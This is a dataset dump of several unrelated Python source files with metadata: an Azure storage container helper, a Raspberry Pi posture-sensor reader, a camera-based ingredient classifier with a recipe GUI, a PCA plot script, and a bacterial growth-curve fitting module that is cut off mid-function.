BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom azure.storage.blob.baseblobservice import BaseBlobService\nfrom azure.storage.sharedaccesssignature import SharedAccessSignature\n\n# project\nfrom azurectl.azurectl_exceptions import (\n AzureCannotInit,\n AzureContainerListError,\n AzureContainerListContentError,\n AzureContainerCreateError,\n AzureContainerDeleteError\n)\n\nISO8061_FORMAT = '%Y-%m-%dT%H:%M:%SZ'\n\n\nclass Container(object):\n \"\"\"\n Information from Azure storage containers\n \"\"\"\n def __init__(\n self,\n account=None,\n account_name=None,\n key=None,\n blob_service_host_base=None\n ):\n if account:\n self.account_name = account.storage_name()\n self.account_key = account.storage_key()\n self.blob_service_host_base = account.get_blob_service_host_base()\n elif (account_name and key and blob_service_host_base):\n self.account_name = account_name\n self.account_key = key\n self.blob_service_host_base = blob_service_host_base\n else:\n raise AzureCannotInit('''\n Either an account, or account_name, key, and service host base\n are required.\n ''')\n\n def list(self):\n result = []\n blob_service = BaseBlobService(\n self.account_name,\n self.account_key,\n endpoint_suffix=self.blob_service_host_base\n )\n try:\n for container in blob_service.list_containers():\n result.append(format(container.name))\n except Exception as e:\n raise AzureContainerListError(\n '%s: %s' % (type(e).__name__, format(e))\n )\n return result\n\n def exists(self, container):\n blob_service = BaseBlobService(\n self.account_name,\n self.account_key,\n endpoint_suffix=self.blob_service_host_base\n )\n try:\n blob_service.get_container_properties(container)\n return True\n except Exception:\n return False\n\n def create(self, container):\n blob_service = BaseBlobService(\n self.account_name,\n self.account_key,\n endpoint_suffix=self.blob_service_host_base\n )\n try:\n blob_service.create_container(\n container_name=container,\n fail_on_exist=True\n )\n except Exception as e:\n raise AzureContainerCreateError(\n '%s: %s' % (type(e).__name__, format(e))\n )\n return True\n\n def delete(self, container):\n blob_service = BaseBlobService(\n self.account_name,\n self.account_key,\n endpoint_suffix=self.blob_service_host_base\n )\n try:\n blob_service.delete_container(\n container_name=container,\n fail_not_exist=True\n )\n except Exception as e:\n raise AzureContainerDeleteError(\n '%s: %s' % (type(e).__name__, format(e))\n )\n return True\n\n def content(self, container):\n result = {container: []}\n blob_service = BaseBlobService(\n self.account_name,\n self.account_key,\n endpoint_suffix=self.blob_service_host_base\n )\n try:\n for blob in blob_service.list_blobs(container):\n result[container].append(format(blob.name))\n return result\n except Exception as e:\n raise AzureContainerListContentError(\n '%s: %s' % (type(e).__name__, format(e))\n )\n\n def sas(self, container, start, expiry, permissions):\n sas = SharedAccessSignature(\n self.account_name, self.account_key\n )\n signed_query = sas.generate_container(\n container_name=container,\n permission=permissions,\n expiry=expiry.strftime(ISO8061_FORMAT),\n start=start.strftime(ISO8061_FORMAT)\n )\n return 'https://{0}.blob.core.windows.net/{1}?{2}'.format(\n self.account_name, container, signed_query\n )\n", "sub_path": "azurectl/storage/container.py", "file_name": "container.py", "file_ext": "py", "file_size_in_byte": 4756, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "azurectl.azurectl_exceptions.AzureCannotInit", "line_number": 49, "usage_type": "call"}, {"api_name": "azure.storage.blob.baseblobservice.BaseBlobService", "line_number": 56, "usage_type": "call"}, {"api_name": "azurectl.azurectl_exceptions.AzureContainerListError", "line_number": 65, "usage_type": "call"}, {"api_name": "azure.storage.blob.baseblobservice.BaseBlobService", "line_number": 71, "usage_type": "call"}, {"api_name": "azure.storage.blob.baseblobservice.BaseBlobService", "line_number": 83, "usage_type": "call"}, {"api_name": "azurectl.azurectl_exceptions.AzureContainerCreateError", "line_number": 94, "usage_type": "call"}, {"api_name": "azure.storage.blob.baseblobservice.BaseBlobService", "line_number": 100, "usage_type": "call"}, {"api_name": "azurectl.azurectl_exceptions.AzureContainerDeleteError", "line_number": 111, "usage_type": "call"}, {"api_name": "azure.storage.blob.baseblobservice.BaseBlobService", "line_number": 118, "usage_type": "call"}, {"api_name": "azurectl.azurectl_exceptions.AzureContainerListContentError", "line_number": 128, "usage_type": "call"}, {"api_name": "azure.storage.sharedaccesssignature.SharedAccessSignature", "line_number": 133, "usage_type": "call"}]} {"seq_id": "182719827", "text": "#Senior Design ECE 1896 Posture Watcher\n#Gerald Kiliany\n\n#Read input from Force Sensitive Resistors through ADC (MCP3008)\n\n\n#import necessary libraries\nimport spidev\nimport time\nimport sys\nimport RPi.GPIO as GPIO\nimport csv\n\n#variables\nsamplePeriod = 1\nFSR_channel0 = 0\nFSR_channel1 = 1\nFSR_channel2 = 2\nFSR_channel3 = 3\nFSR_channel4 = 4\nseatedThresh = 10 #threshold for pressure to consider a user to be seated (1024 range)\ntimeElapsed = 0\nvibMode = False\nvibrating = False\nvibPinIn = 17 #GPIO pin to read vibration mode input\nvibPinOut = 26 #GPIO pin for vibration motor\nseatCount = 0\noversittingThresh = 5\nnotSittingThresh = 2\nstandCount = 0\n\n#GPIO setup\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(vibPinIn, GPIO.IN)\nGPIO.setup(vibPinOut, GPIO.OUT)\n\n\n#SPI Comm setup\nmcp0 = spidev.SpiDev()\nmcp0.open(0,0) #open communication between spi bus 0 and mcp device on channel 0\nmcp0.max_speed_hz = 1000000\n\n\ndef readADC(adcnum):\n #Read SPI data from ADC, 8 channels\n if adcnum > 7 or adcnum < 0:\n return -1\n # mcp0.open(0,0)\n # mcp0.max_speed_hz = 1000000\n \n r = mcp0.xfer2([1, (8 + adcnum) << 4, 0])\n data = ((r[1] & 3) << 8) + r[2]\n \n \n \n #spi.close()\n return data\n\n\nwhile timeElapsed < 5069: #for debugging don't run forever\n timeElapsed+=1\n \n vibMode = GPIO.input(17) #read pin 17 for if vibration switch on or off\n \n\n \n FSR_value0 = readADC(FSR_channel0) #0-1023 for 10 bit ADC, sensor 0\n FSR_value1 = readADC(FSR_channel1) #sensor 1\n FSR_value2 = readADC(FSR_channel2) #sensor 2\n FSR_value3 = readADC(FSR_channel3) #sensor 3\n FSR_value4 = readADC(FSR_channel4) #sensor 4\n #adc = MCP3008()\n #FSR_value0 = adc.read(channel = 0)\n #FSR_value1 = adc.read(channel = 1)\n \n #perform ops on data\n if FSR_value0 > seatedThresh:\n isSeated = True; \n else:\n isSeated = False;\n #for testing\n \n if isSeated:\n seatCount +=1 #increment time spent seated\n standCount = 0 #reset counter for standing\n else :\n standCount+=1\n if standCount >= notSittingThresh: #sense standing, reset seated count\n seatCount = 0\n \n print(\"Time elapsed: \", timeElapsed)\n print(\"FSR0 value: \", FSR_value0)\n print(\"FSR1 value: \", FSR_value1)\n print(\"FSR2 value: \", FSR_value2)\n print(\"FSR3 value: \", FSR_value3)\n print(\"FSR4 value: \", FSR_value4)\n print(\"Seated or not: \", isSeated)\n \n if (seatCount >= oversittingThresh) & ((seatCount % oversittingThresh) == 0) & (standCount < 1): #compare time sitting to the threshold considered to be too long\n if(vibMode) :\n print(\"Vibration Mode: Vibrating\")\n GPIO.output(vibPinOut, GPIO.HIGH)\n else:\n print(\"Seated too long\")\n # print(\"Pressure Pad Value: \", FSR_value0) \n # print(\"Seated or not: \", isSeated)\n #Write to file\n currValues = [FSR_value0, FSR_value1, FSR_value2, FSR_value3, FSR_value4] \n with open('mlData.csv', 'a', newline = '') as csvfile:\n outWriter = csv.writer(csvfile, delimiter = ' ')\n outWriter.writerow(currValues)\n \n time.sleep(samplePeriod)\n GPIO.output(vibPinOut, GPIO.LOW)\n #end\nmcp0.close() #end comms with mcp device \n", "sub_path": "Development/SeniorDesignFSR_Read.py", "file_name": "SeniorDesignFSR_Read.py", "file_ext": "py", "file_size_in_byte": 3457, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "RPi.GPIO.setmode", "line_number": 33, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 33, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 33, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 34, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 34, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 34, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 35, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 35, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 35, "usage_type": "attribute"}, {"api_name": "spidev.SpiDev", "line_number": 39, "usage_type": "call"}, {"api_name": "RPi.GPIO.input", "line_number": 63, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 63, "usage_type": "name"}, {"api_name": "RPi.GPIO.output", "line_number": 102, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 102, "usage_type": "name"}, {"api_name": "RPi.GPIO.HIGH", "line_number": 102, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 110, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 113, "usage_type": "call"}, {"api_name": "RPi.GPIO.output", "line_number": 114, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 114, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 114, "usage_type": "attribute"}]} {"seq_id": "647317697", "text": "#############################\n# 현재 1개의 레시피 추천까지 진행\n##############################\n\"\"\"Example using TF Lite to classify objects with the Raspberry Pi camera.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport io\nimport time\nimport threading\nimport numpy as np\nimport picamera\n\nfrom tkinter import *\nfrom tkinter import messagebox\n\nfrom PIL import Image, ImageTk ###import 추가->mj\nfrom tflite_runtime.interpreter import Interpreter\n#import tflite ###import 추가->mj\nimport pandas as pd\n\nclass Camera(threading.Thread):\n m_bPressed = False\n m_rFood ={} ######################카메라 고장으로 잠시 주석하고 테스트했음\n #m_rFood={'onion':1,'tomato':1} ##대신 테스트했던 코드\n m_bExit = False\n \n def __init__(self):\n super().__init__()\n\n def Pressed(self, bEnable) :\n self.m_bPressed = bEnable\n\n def load_labels(self, path):\n with open(path, 'r') as f:\n return {i: line.strip() for i, line in enumerate(f.readlines())}\n\n\n def set_input_tensor(self, interpreter, image):\n tensor_index = interpreter.get_input_details()[0]['index']\n input_tensor = interpreter.tensor(tensor_index)()[0]\n input_tensor[:, :] = image\n\n def result(self):\n s = self.m_rFood.keys()\n\n return s\n\n def classify_image(self, interpreter, image, top_k=1):\n \"\"\"Returns a sorted array of classification results.\"\"\"\n self.set_input_tensor(interpreter, image)\n interpreter.invoke()\n output_details = interpreter.get_output_details()[0]\n output = np.squeeze(interpreter.get_tensor(output_details['index']))\n\n # If the model is quantized (uint8 data), then dequantize the results\n if output_details['dtype'] == np.uint8:\n scale, zero_point = output_details['quantization']\n output = scale * (output - zero_point)\n\n ordered = np.argpartition(-output, top_k)\n return [(i, output[i]) for i in ordered[:top_k]]\n\n def exit(self):\n self.m_bExit = True\n\n def run(self):\n\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--model', help='File path of .tflite file.', required=True)\n parser.add_argument('--labels', help='File path of labels file.', required=True)\n args = parser.parse_args()\n\n #labels = self.load_labels('labels.txt')\n #interpreter = Interpreter('model_unquant.tflite')\n labels = self.load_labels(args.labels)\n interpreter = Interpreter(args.model)\n\n interpreter.allocate_tensors()\n _, height, width, _ = interpreter.get_input_details()[0]['shape']\n\n with picamera.PiCamera(resolution=(640, 480), framerate=3) as camera:\n camera.start_preview(fullscreen=False, window=(0,0,320,240) )\n try:\n stream = io.BytesIO()\n for _ in camera.capture_continuous(\n stream, format='jpeg', use_video_port=True):\n \n stream.seek(0)\n image = Image.open(stream).convert('RGB').resize((width, height),Image.ANTIALIAS)\n start_time = time.time()\n results = self.classify_image(interpreter, image)\n\n elapsed_ms = (time.time() - start_time) * 1000\n label_id, prob = results[0]\n\n stream.seek(0)\n stream.truncate()\n camera.annotate_text = '%s %.2f\\n%.1fms' % (labels[label_id], prob,\n elapsed_ms)\n\n if self.m_bPressed :\n self.m_rFood[labels[label_id]]=label_id\n #self.m_rFood.append(labels[label_id])\n print ( labels[label_id] )\n self.m_bPressed = False\n camera.annotate_text = '%s added.' % (labels[label_id] )\n\n if self.m_bExit:\n camera.stop_preview()\n break\n \n finally:\n camera.stop_preview()\n\ncam = Camera()\n\ndef pressed_button() :\n cam.Pressed(True)\n print('button pressed')\n\ndef show_result():\n msg = messagebox.showinfo('result',cam.result())\n print('show')\ndef pressed_recipe(text):\n print(text)\n\ndef show_recipe():\n try:\n source = cam.result()\n data= pd.read_csv('food_Ingredients.csv')\n #print(data)\n \n recipe_ingredient=data['food ingredients']\n ingredients=[]\n count=[0 for _ in range(len(data))]\n #print(\"data 갯수 %d\" %len(data))\n recommend=[]\n for num,i in enumerate(recipe_ingredient):\n ingredients.append(i.split(','))\n for num,a in enumerate(ingredients):\n print(a)\n for s in source:\n if s in a:\n count[num]+=1 # 나중에 딕셔너리형으로 바꾸는거 고려\n if any(count):\n for num in range(len(count)):\n if count[num]!=0:\n count[num] = count[num]/len(ingredients[num])\n result=count.index(max(count))\n recommend.append(data['cook'][result]) \n else: \n print(\"해당재료로 만들 수 있는 레시피 없음.\")\n msg2 = messagebox.showinfo('no recommend','No recipe for the ingredients')\n raise ValueError('No recipe for the ingredients!')\n \n #print(max(count))\n # for num,cnt in enumerate(count):\n # if max(count)==0:\n # print(\"해당재료로 만들 수 있는 레시피 없음.\")\n # msg2 = messagebox.showinfo('no recommend','No recipe for the ingredients')\n # break\n # if cnt==max(count) :\n # recommend.append(data['cook'][num])\n # #print(recommend)\n \n recipe = Tk()\n recipe.configure(bg='white')\n recipe.geometry('750x600+500+500')\n recipe.title('레시피 추천')\n l = Label(recipe, bg=\"white\", text=recommend[0], font=13) #요리제목\n l.place(x=30, y=10)\n \n image1 = Image.open(\"image/%s_2.jpg\"%recommend[0])\n image2 = Image.open(\"image/%s_3.jpg\"%recommend[0])\n\n image1 = image1.resize((350,500),Image.ANTIALIAS)\n image2 = image2.resize((350,500),Image.ANTIALIAS)\n\n img1 = ImageTk.PhotoImage(image1,master=recipe) \n img2 = ImageTk.PhotoImage(image2,master=recipe)\n\n label1 = Label(recipe, image= img1)\n label2 = Label(recipe, image= img2)\n \n # # Position image\n label1.place(x=20, y=60)\n label2.place(x=370,y=60)\n\n # btn={}\n # for num,a in enumerate(recommend):\n # btn[a] = Button(recipe, width=20, height=1, text=a, bg=\"yellow\", command=lambda: pressed_recipe(a))\n # btn[a].place(x=130+150*num, y=10)\n #print(btn)\n recommend.clear()\n cam.m_rFood.clear()\n ingredients.clear()\n count.clear()\n recipe.mainloop()\n finally:\n recommend.clear()\n cam.m_rFood.clear()\n ingredients.clear()\n count.clear()\n print(\"end\") \n\n return recommend\n\n\ndef main():\n try:\n cam.start()\n window = Tk()\n window.geometry('250x250+650+300')\n window.title('AI CHEF')\n\n l = Label(window, bg=\"white\", text='Capturing the Image', font=13)\n l.place(x=30, y=10)\n \n b1 = Button(window, width=10, height=2, text='CAPTURE', bg=\"magenta\", command=pressed_button)\n b1.place(x=65, y=60)\n\n b2 = Button(window, width=10, height=2, text='RESULT', bg=\"pink\", command=show_result)\n b2.place(x=65, y=120)\n\n b3 = Button(window, width=10, height=2, text='RECIPE', bg=\"blue\", command=show_recipe)\n b3.place(x=65, y=180)\n \n window.mainloop()\n\n finally:\n cam.exit()\n cam.join()\n quit()\n return\n\nif __name__ == '__main__':\n main()", "sub_path": "gui4.py", "file_name": "gui4.py", "file_ext": "py", "file_size_in_byte": 7581, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "threading.Thread", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.squeeze", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numpy.argpartition", "line_number": 64, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 72, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tflite_runtime.interpreter.Interpreter", "line_number": 80, "usage_type": "call"}, {"api_name": "picamera.PiCamera", "line_number": 85, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 88, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 93, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 93, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 93, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 94, "usage_type": "call"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 126, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 126, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 134, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 157, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 157, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 177, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 177, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 178, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 178, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 180, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 180, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 181, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 181, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 183, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 183, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 184, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 184, "usage_type": "name"}]} {"seq_id": "293498697", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 7 18:07:06 2019\n\n@author: kaany\n\"\"\"\nfrom sklearn.decomposition import PCA\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\nfrom DataGenerator import generateData\nfrom Preprocessing import deleteFeaturesRandomly\n\nNUMBER_OF_CLASSES = 4\nNUMBER_OF_FEATURES = NUMBER_OF_CLASSES*2\nNUMBER_OF_FEATURES_PER_CLASS = 200\nTOTAL_NUMBER_OF_RECORDS = NUMBER_OF_CLASSES * NUMBER_OF_FEATURES_PER_CLASS\n \nFEATURE_MEAN_RANGE = [0, 50]\n \nRANDOM_NUMBER_SEED = 0\nNUMBER_OF_FEATURES_TO_PRUNE = 4\n\ndata, labels = generateData(NUMBER_OF_CLASSES, NUMBER_OF_FEATURES,\n NUMBER_OF_FEATURES_PER_CLASS, FEATURE_MEAN_RANGE,\n RANDOM_NUMBER_SEED)\nprunedData = deleteFeaturesRandomly(data, labels, NUMBER_OF_FEATURES_TO_PRUNE, \n randomNumberSeed=RANDOM_NUMBER_SEED)\n\ndistinctLabels = np.unique(labels)\n\npca = PCA()\npcaData = pca.fit_transform(prunedData)\n\nplt.figure()\nplt.title(\"Feature Selection With PCA\")\nplt.xlabel(\"PC1\")\nplt.ylabel(\"PC2\")\nfor label in distinctLabels: \n plt.scatter(pcaData[labels==label,0], pcaData[labels==label,1],\n c=np.random.rand(3,))", "sub_path": "PCA-Main.py", "file_name": "PCA-Main.py", "file_ext": "py", "file_size_in_byte": 1199, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "DataGenerator.generateData", "line_number": 24, "usage_type": "call"}, {"api_name": "Preprocessing.deleteFeaturesRandomly", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.random.rand", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 41, "usage_type": "attribute"}]} {"seq_id": "173696516", "text": "import os\nimport glob\nimport xlrd\nimport xlsxwriter\nimport numpy as np\nimport scipy.optimize\nimport scipy.stats\nimport pylab as pl\nimport pdb\nimport math\nimport matplotlib.pyplot as mpl\nimport matplotlib.legend as mpll\nimport warnings\n\n\ndef gompertz(x, A, B, C, D):\n return A * np.exp( - np.exp( -C * (x-B))) + D\n\n\n\ndef modgompertz(x, A, B, C, D):\n return A * np.exp(-np.exp(((B * np.e)/A) * (C-x) + 1)) + D\n\n\ndef logistic(x, A, B, C, D):\n return A / (1 + np.exp(-C * (x - B))) + D\n\n\ndef modlogistic(x,A,B,C,D):\n return A / (1 + np.exp(((4 * C)/A) * (B-x) + 2)) + D\n\n\ndef plot_results(full_plot, full_filename, lag_time=None, timepoints=None, time = None, regression=None, OD_values=None,\n msgr=None, doubling_time=None, delta_OD_max=None, min_od=None, median_od_max=None, possible_growth=0,\n plot_title=''):\n fig, ax = mpl.subplots();\n \n mpl.xlabel('Time (Hours)')\n mpl.ylabel('OD (600nm)')\n\n ax.plot(timepoints, OD_values, 'r.')\n mpl.ylim((min(-0.2, min_od * 1.1), max(1.6, median_od_max * 1.1)))\n\n if (full_plot):\n lagtimestart = [lag_time, -10]\n lagtimestop = [lag_time, 10]\n #plot timepoints\n ax.plot(time, regression, 'b-')\n ax.plot(*zip(lagtimestart, lagtimestop), color='green')\n\n if possible_growth:\n lag_time_str = 'Possible Growth...\\n'\n else:\n lag_time_str = ''\n lag_time_str = lag_time_str + \"lag_time = %f\\nmax growth = %f\\ndoubling time = %f\\nDelta OD Max = %f\" % (lag_time, msgr, doubling_time, delta_OD_max)\n\n else:\n lag_time_str = \"No Growth\\nDelta OD Max = %f\" % delta_OD_max\n\n props = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\n if median_od_max > 0.8:\n v_align = 'bottom'\n v_placement = 0.05\n else:\n v_align = 'top'\n v_placement = 0.95\n ax.text(0.95, v_placement, lag_time_str, transform=ax.transAxes, fontsize = 14, verticalalignment=v_align, horizontalalignment='right', bbox=props)\n fig.suptitle(plot_title, fontsize=16)\n mpl.savefig(full_filename + \".png\", dpi =600, format=\"png\")\n\n\n mpl.close(fig)\n #mpl.show(); \n return\n \ndef FindRegressionCurve(OD_values, time_interval, incubation_time, model, double_hump, threshold, full_filename, data_min, ignore_pre_min, plot_title):\n \"\"\"\n FindRegressionCurve - using the parameters specified, attempts to fit a \n regression best fit line of the specified model to the data supplied.\n \"\"\"\n\n msgr = 0\n note = \"\"\n lag_time = 0\n goodness = 1\n OD_values_med = np.empty([len(OD_values)])\n timepoints = []\n for i in range(len(OD_values)):\n timepoints.append(i * time_interval + incubation_time)\n\n# for i in range(len(OD_values)):\n# OD_values_med[i] = max(0, OD_values[i]);\n \n\n timepoints_med = timepoints\n \n filter_width = 3\n \n OD_values_med = medfilt(OD_values, filter_width)\n\n min_od = np.min(OD_values)\n\n median_od_max = np.max(OD_values_med)\n\n max_index = np.argmax(OD_values_med)\n if max_index > 0:\n median_min_od = np.min(OD_values_med[0:max_index])\n else:\n median_min_od = OD_values_med[0]\n min_index = np.argmin(OD_values_med)\n\n\n\n double_hump_found = False;\n \n if (double_hump and max_index > 3):\n\n peaks_indices = scipy.signal.find_peaks_cwt(OD_values, np.arange(1,10))\n peaks_thresholded = []\n locs_thresholded = []\n \n if len(peaks_indices)>0:\n for i in range(len(peaks_indices)):\n if (OD_values[peaks_indices[i]] < median_od_max * 0.85):\n peaks_thresholded.append(OD_values[peaks_indices[i]])\n locs_thresholded.append(peaks_indices[i])\n\n if (len(peaks_thresholded) > 0):\n \n min_value = OD_values[peaks_thresholded[len(peaks_thresholded)-1]]\n for ele in OD_values[range(peaks_thresholded[len(peaks_thresholded)-1], len(OD_values) - 1 )]:\n min_value = min(ele, min_value)\n \n location_min = OD_values.index(min_value)\n \n OD_values_dh[0] = OD_values[0]\n timepoints_dh[0] = timepoints[0]\n \n for i in range(1, len(OD_values)-location_min +1): \n OD_values_dh[i] = OD_values[i + location_min - 1]\n timepoints_dh[i] = timepoints[i + location_min -1]\n \n OD_values = OD_values_dh\n timepoints = timepoints_dh\n max_index = max_index - location_min + 2\n double_hump_found = True\n \n timepoints_orig = timepoints\n\n initial_index = 0\n if (ignore_pre_min):\n initial_index = min_index\n\n OD_values_adj = []\n if max_index < 4 or max_index > len(OD_values)*0.93:\n max_index = len(OD_values) + 1\n adj_vals_length = len(OD_values)\n else:\n adj_vals_length = max(max_index + 10, math.ceil(max_index * 1.3))\n\n timepoints_adj = []\n for i in range(adj_vals_length):\n timepoints_adj.append(i * time_interval + incubation_time)\n if (i >= initial_index):\n if (i <= max_index):\n OD_values_adj.append(OD_values_med[i])\n else:\n OD_values_adj.append(median_od_max)\n \n \n \n \n max_od_adj = max(OD_values_adj)\n \n \n \"\"\"\n Appl. Environ. Microbiol. June 1990 vol. 56 no. 6 1875-1881\n\n and...\n\n 0 Journal Article\n D 2000\n @ 0178-515X\n J Bioprocess Engineering\n V 23\n N 6\n R 10.1007/s004490000209\n T Development of mathematical models (Logistic, Gompertz and Richards models) describing the growth pattern of Pseudomonas putida (NICM 2174)\n U http://dx.doi.org/10.1007/s004490000209\n I Springer-Verlag\n 8 2000-12-01\n A Annadurai, G.\n A Rajesh Babu, S.\n A Srinivasamoorthy, V. R.\n P 607-612\n G English\n \"\"\"\n min_d = -1\n if (data_min):\n min_d = min(0.0999,max(min(OD_values_adj), -1))\n\n if (model == 'gompertz'):\n fitfunc_range = gompertz\n fitfunc = gompertz\n initial_guess = [0.5, 1.5, 0.2, 0.1]\n boundvals = ([0,0,0,min_d],[100,100,2,3])\n elif (model == 'modgompertz'):\n fitfunc_range = modgompertz\n fitfunc = modgompertz\n initial_guess = [0.5, 1.5, 0.2, 0.1]\n boundvals = ([0,0.000001,0,min_d],[100,100,2,3])\n elif (model == 'logistic'):\n fitfunc_range = logistic\n fitfunc = logistic\n initial_guess = [0.5, 1.5, 0.2, 0.1]\n boundvals = ([0,0,0,min_d],[100,100,2,3])\n elif (model == 'modlogistic'):\n fitfunc_range = modlogistic\n fitfunc = modlogistic\n initial_guess = [2, 1.5, 0.2, 0.1]\n boundvals =([0,0.000001,0,min_d],[100,100,3,3])\n else:\n print(\"Unsupported Model\")\n return -1\n\n delta_OD_max = median_od_max - median_min_od\n time = pl.arange(0, (len(OD_values_adj)) * time_interval + incubation_time, 0.01)\n\n if (delta_OD_max < threshold * 0.7):\n note = 'No Growth Detected, Check Plot'\n lag_time = ''\n msgr = ''\n doubling_time = ''\n rsquared = ''\n rmse = ''\n plot_results(False, full_filename, 0, timepoints, time, None, OD_values, msgr, doubling_time,\n delta_OD_max, min_od, median_od_max, plot_title=plot_title)\n return (lag_time, msgr, median_od_max, median_min_od, delta_OD_max, doubling_time, rsquared, rmse, note)\n possible_growth_flag = 0\n if (delta_OD_max < threshold * 1.3):\n note = 'Possible Growth, Check Plot'\n possible_growth_flag = 1\n\n\n try:\n (coef, est_cov) = scipy.optimize.curve_fit(fitfunc_range, timepoints_adj[initial_index:len(OD_values_adj)], OD_values_adj, initial_guess, bounds = boundvals)\n except scipy.optimize.OptimizeWarning:\n print ('Maxed out cant estimate covariance, cannot fit curve')\n note = 'failed to fit curve'\n lag_time = ''\n msgr = ''\n doubling_time = ''\n noreg = 1\n rsquared = ''\n rmse = ''\n delta_OD_max = ''\n plot_results(False, full_filename, plot_title=plot_title)\n return (lag_time, msgr, median_od_max, median_min_od, delta_OD_max, doubling_time, rsquared, rmse, note)\n except RuntimeError: \n print ('Maxed out calls, cannot fit curve')\n note = 'failed to fit curve'\n lag_time =''\n msgr = ''\n doubling_time = ''\n noreg = 1\n rsquared = ''\n rmse = ''\n delta_OD_max = ''\n plot_results(False, full_filename, plot_title=plot_title)\n return (lag_time, msgr, median_od_max, median_min_od, delta_OD_max, doubling_time, rsquared, rmse, note)\n\n\n #need to re-evaluate use of R^2 value. With non-linear regression, this value is dubious. Should perhaps use standard error in the units of OD or a pseudo R^2 value\n #(slope, intercept, rsquared, pvalue, stderr) = scipy.stats.linregress(OD_values_adj, fit_values)\n SSE = 0\n SST = 0\n adj_mean = np.mean(OD_values_adj)\n\n\n for i in range(len(OD_values_adj)):\n resid = OD_values_adj[i] - fitfunc(timepoints_adj[i], coef[0], coef[1], coef[2], coef[3])\n SST_sub = OD_values_adj[i] - adj_mean\n SSE = SSE + resid * resid\n SST = SST + SST_sub * SST_sub\n\n rsquared = 1- SSE/SST\n rmse = np.sqrt( SSE / len(OD_values_adj))\n\n\n if (model == 'gompertz' or model == 'logistic'):\n inflection_point = coef[1]\n msgr = coef[2]\n #offset = 1\n #lag_time = inflection_point * time_interval - (np.log(fitfunc(inflection_point,coef[0],coef[1],coef[2], coef[3]) + offset) - np.log(OD_values_adj[0] + offset)) / msgr\n 